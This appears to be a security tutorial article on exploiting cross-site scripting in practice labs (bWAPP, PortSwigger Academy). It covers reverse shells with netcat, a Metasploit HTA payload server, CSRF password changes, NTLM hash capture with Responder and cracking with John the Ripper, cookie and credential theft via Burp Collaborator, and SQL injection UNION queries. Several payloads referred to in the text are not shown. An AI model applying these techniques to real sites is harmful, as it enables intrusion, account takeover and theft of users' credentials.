Cross-Site Scripting Exploitation 2

“Are you one of them, who thinks that Cross-Site Scripting is just for some errors or pop-ups on the screen?” Yes?? Then today in this article, you’ll see how an XSS suffering web-page is not only responsible for the defacement of the web-application but also, it could disrupt a visitor’s privacy by sharing the login credentials or his authenticated cookies to an attacker without his/her concern.

I recommend, to revisit our previous article for better understanding, before going deeper with the attack scenarios implemented in this section.

Table of Content

·         Introduction to Cross-Site Scripting

·         XSS Post Exploitation

o   XSS through File Upload

o   Reverse Shell with XSS

o   System Hijacking over XSS

o   User-Accounts Manipulation with XSS

o   NTLM Hash Capture with XSS

o   Session Hijacking with Burp Collaborator

o   Credential Capturing with Burp Collaborator

Introduction to Cross-Site Scripting

Cross-Site Scripting is a client-side code injection attack where malicious scripts are injected into trusted websites.

In this attack, the users are not directly targeted through a payload, although the attacker shoots the XSS vulnerability by inserting a malicious script into a web page that appears to be a genuine part of the website. So, when any user visits that website, the XSS suffering web-page will deliver the malicious JavaScript code directly over to his browser without his knowledge.

 “XSS” thus has been classified into three main categories:

·         Stored XSS

·         Reflected XSS

·         DOM-based XSS

I guess you’re now having a clear vision about -“What is XSS” and “How it occurs”. So let’s try to exploit the vulnerable labs over The Portswigger Academy and bWAPP in order to capture up the authenticated cookie of the users and the server’s remote shell.

But before making our hands wet with the exploits, let’s understand what is Blind XSS?

Blind XSS

Many times the attacker does not know where the payload will end up and if, or when, it will get executed and even there are times when the injected payload is executed in a different environment i.e. either by the administrator or by someone else.

So, in order to exploit such vulnerabilities - He blindly deploys up the series of malicious payloads over onto the web-applications, and thus the application stores them into the database. Thereby, he thus waits, until the user pulls the payload out from the database and renders it up into his/her browser.

Let’s Start !!

XSS through File Upload

Web-applications somewhere or the other allow its users to upload a file, whether its an image, a resume, a song, or anything specific. And with every upload, the name reflects back on the screen as it was called from the HTML code.

As the name appears back, therefore we can now execute any JavaScript code by simply manipulating up the file name with any XSS payload.

Boot back into the bWAPP’s application by selecting the “Choose your bug” option to “Unrestricted File Upload” and for this time we’ll keep the security to “High”.

Let’s now upload our renamed file over into the web-application, by browsing it from the directory.

Great !! Form the above image, you can see that our file name is over on the screen. So as we hit the Upload button, the browser will execute up the embedded JavaScript code and we’ll get the response.

Reverse Shell with XSS

Generating a pop-up or redirecting a user to some different application with the XSS vulnerability is somewhere or the other seems to be harmless. But what, if the attacker is able to capture up a reverse shell, will It still be harmless? Let’s see how we could do this.

Fire up your Kali terminal and then create up a reverse-php payload by calling it from webshells  directory as

cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/ReverseXSS.php

Now, in order to capture the remote shell, let’s manipulate the $ip parameter with the Kali machine’s IP

Back into the vulnerable application, let’s opt the “Unrestricted File Upload” and then further we’ll include the ReverseXSS.php file.

Don’t forget to copy the Uploaded URL, i.e. right-click on the Upload button and choose the Copy Link Location.

Great!! We’re almost done, time to inject our XSS payload. Now, with the “Choose you bug” option, opt the XSS – Stored (Blog).

Over into the comment section, type your JavaScript payload with the “File-Upload URL”.

But wait!! Before firing the submit button, let’s start our Netcat listener

nc –lvp 1234

Cool !! From the below image, you can see that, we are into our targeted web-server.

I’m sure you might be wondering - Why I made a round trip in order to capture up the Reverse Shell when I’m having the “File Upload” vulnerability open?

Okay!! So, think for a situation, if you upload the file directly and you’ve successfully grabbed up the Reverse shell. But wait!! Over in the victim’s network, your IP is disclosed and you’re almost caught or what if your Ip address is not whitelisted. Then?

Over in such a situation, taking the round trip is the most preferable option, as you’ll get the reverse connection into the victim’s server through the authorized user.

System Hijacking Over XSS

In the last section, we captured the reverse shell, but what, if rather than the server’s shell, the attacker managed to get up the meterpreter session of the visitor who surfs this vulnerable web-page?

Let’s check it out how – To make it more clear we’re having:

Attacker’s machine: Kali Linux

Vulnerable Web-application: bWAPP(bee-box)

Visitor’s machine: Windows

So, the attacker first creates up an hta file i.e. an HTML Application over with the Metasploit framework, that when opened by the victim will thus execute up a payload via Powershell.

use exploit/windows/misc/hta_server

set srvhost 192.168.0.12

exploit

Great!! He got the payload URL, now what he does is, he simply embed it into the XSS suffering web-page and will wait for the visitor.

Now, whenever any visitor visits this web-page, the browser will thus execute the malicious script and will download the HTA file over into his machine.

Cool !! From the above image, you can see that the file has been downloaded into the system. Now, as soon as the victim boots it up to check out what it is, there on the other side, the attacker will get his meterpreter session.

User-Accounts Manipulation with XSS

Wouldn't it great, if you’re able to manipulate the password of the user or the registered email address with your own, without his concern?

Web-applications that are suffering from XSS and CSRF vulnerability permits you to do so.

Boot inside the vulnerable web-application bWAPP as bee: bug, further select “CSRF (Change Password)” from the “Choose your bug” option.

This selection will thus redirect you to a CSRF suffering web-page, where there is an option to change the account password.

So as we enter or sets up a new password, the passing value thus reflects back into the URL as the password is changed to “12345”.

Copy the password URL and manipulate the password_new and the password_conf values to the one which we want to set for the visitor. As in our case, I made it to “ignite”.

Now, its time to inject our script into the XSS suffering web-page with the “image” tag.

Now, let’s consider a visitor is surfing the website and he visits this vulnerable section. As soon as he do so, the browser executes the javascript embedded payload and will consider it as a genuine request by the visitor i.e. it will change the password to “ignite”.

Great !! He did that, now whenever he logs in again with his old password, he won’t be able to as his password has been changed without his concern.

But the attacker can log in into the account, as he is having the new password i.e. “ignite”.

NTLM Hash Capture with XSS

An XSS vulnerability is often known for its pop-ups, but sometimes attacker manipulates these pop-up in order to catch up sensitive data of the users i.e. session cookies, account credentials or whatever they wish to.

Here an attacker thus tries to capture the NTLM hashes of the visitors by injecting his malicious Javascript code into the vulnerable application.

In order to carry this up, he enables up the “Responder” over in his attacking machine, which will thus grab up all the authenticated NTLM hashes.

Responder –I eth0

Further, he simply injects his malicious script into the XSS suffering web-page with an “iframe”

Cool !! Its time to wait for the visitor. Now as the visitor visits this web-page he got encountered with a pop-up asking for the credentials.

As soon as he enters his system credentials, the web-page thus reloads and the attacker will have his NTLM hash.

It’s not the end. He needs to crack this up. Therefore over in the new terminal, he directed himself to the directory where the hash is stored.

cd /usr/share/responder/logs

Further, he makes up a new password file as “pass.txt”

Great!! His work is done now. He simply embeds the password file and the hash file over into “John The Ripper” and there he’ll get the authorized session.

john --wordlist=pass.txt HTTP-NTLMv2-192.168.0.9.txt

Session Hijacking with Burp Collaborator Client

As in our previous article, we were stealing cookies, but, impersonating as an authenticated user, where we’ve kept our netcat listener “ON” and on the other side we logged in as a genuine user.

But in the real-life scenarios, things don’t work this way, there are times when we could face blind XSS i.e. we won’t know, when our payload will get executed.

Thus in order to exploit this Blind XSS vulnerability, let’s checkout one of the best burpsuite’s plugin i.e. the “Burp Collaborator Client”

Don’t know what is Burp Collaborator? Follow up with this section, and I’m sure you’ll get the basic knowledge about it.

Login into the PortSwigger academy and drop down till Cross-Site Scripting and further get into its “Exploiting cross-site scripting vulnerabilities”, choose the first lab as “Exploiting cross-site scripting to steal cookies” and hit “Access the lab” button.

Here you’ll now be redirected to blog. As to go further, I’ve opened a post there and checked out for its content.

While scrolling down, over at the bottom, I found a comment section, which seems to have multiple inputs fields, i.e. there is a chance that we could have an XSS vulnerability exists.

Now its time to bring “Burp Collaborator Client” in the picture. Tune in your “Burpsuite” and there on the left-hand side click on “Burp”, further then opt the “Burp Collaborator Client”.

Over into the Collaborator Client window, at the “Generate Collaborator payloads” section, hit the Copy to clipboard button which will thus copy a payload for you.

Cool!! Now, come back to the “Comment Section” into the blog, enter the following script with your Burp Collaborator payload:




Great!! From the below image, you can see that our comment has been posted successfully.

Time to wait!! Click on the Poll button in order to grab up the payload-interaction result.

Oops!! We got a long list, select the HTTP one and check its “Response”. From the below image you can see that in the response section we’ve got a “Session Id”. Copy it for now !!

Now, back into the browser, configure your proxy and over in the burpsuite turn you Intercept “ON”.

Reload the page and check the intercepted Request.

Great!! We’re having a Session ID here too, simply manipulate it up with the one we copied earlier from the collaborator.

Hit the Forward button, and check what the web-application offers you.

Credential Capturing with Burp Collaborator

Why capture up the session cookies, if you could get the username & passwords directly??

Similar to the above section, it’s not necessary, that our payload will execute over at the same place, where it was injected.

Let’s try to capture some credentials over as in some real-life situation, where the web-page is suffering from the Stored XSS vulnerability.

Back into the PortSwigger account choose the next defacement as “Exploiting cross-site scripting to capture passwords”.

As we hit “Access The Lab”, we’ll get redirected to the XSS suffering web-page. To enhance more, I’ve again opened up a blog-post there.

Scrolling the page again, I got encountered with the same “comment section.” Let’s exploit it out again.

Back into the “Burp Collaborator”, let’s Copy the payload again by hitting “Copy to Clipboard”.

All we need was that payload only, now inject the comment field with the following XSS payload.

Let’s hit the “Post Comment” in order to check whether it is working or not. The below image clears up that our comment has been posted successfully.

Now let’s wait over into the “burp Collaborator” for the results. From the below image you can see that our payload has been executed at some point.

Let’s check who did that.

Oops!! It’s the administrator, we’re having some credentials.

But where we could use them?

Over at the top of the blog, there was an account login section, let’s check it there.

Cool!! Let’s try to make a dry run over here. Tune in your proxy and capture up the ongoing HTTP Request.

Okay !! Let’s manipulate the username and password with the one we captured earlier in the Burp Collaborator.

Great!! Now simply hit the Forward button and there you go….

XSS to SQL Injection

So up till now, we were only discussing, how an attacker could capture up the authenticated cookies, the visitor’s credentials and even the server’s remote shell. But what, if I say that he can even dump the complete database of the web-application over in the single pop-up? Wonder how? Let’s find it out in this section.

Over in the vulnerable application, the attacker was encountered with a web-page which was suffering from the SQL Injection vulnerability.

Therefore in order to grab up the result more precise, he checked the total number of columns with the “order by” clause.

http://192.168.0.14/bWAPP/sqli_1.php?title=’order by 7--+&action=search

As he was then confirmed by the total columns, he thus used the UNION operator with the SELECT query.

http://192.168.0.14/bWAPP/sqli_1.php?title=’ union select 1,2,3,4,5,6,7--+&action=search

Great!! This was all he wanted, the printed value. From the above image, you can see that “2” has been displayed on the screen.

It’s time to check this for XSS. But he can’t inject his Javascript code like the same he used to, therefore he’ll thus convert it all into the “HEX string” and then he’ll manipulate “2” with the hex-value.

Cool!! It's working. Now he can add any script, whether it is for cookie capturing or the remote shell one. But for this time, he’ll dump up the database, its tables and the fields.

Great!! From the below image, you can see that the complete database structure has been presented in front of us.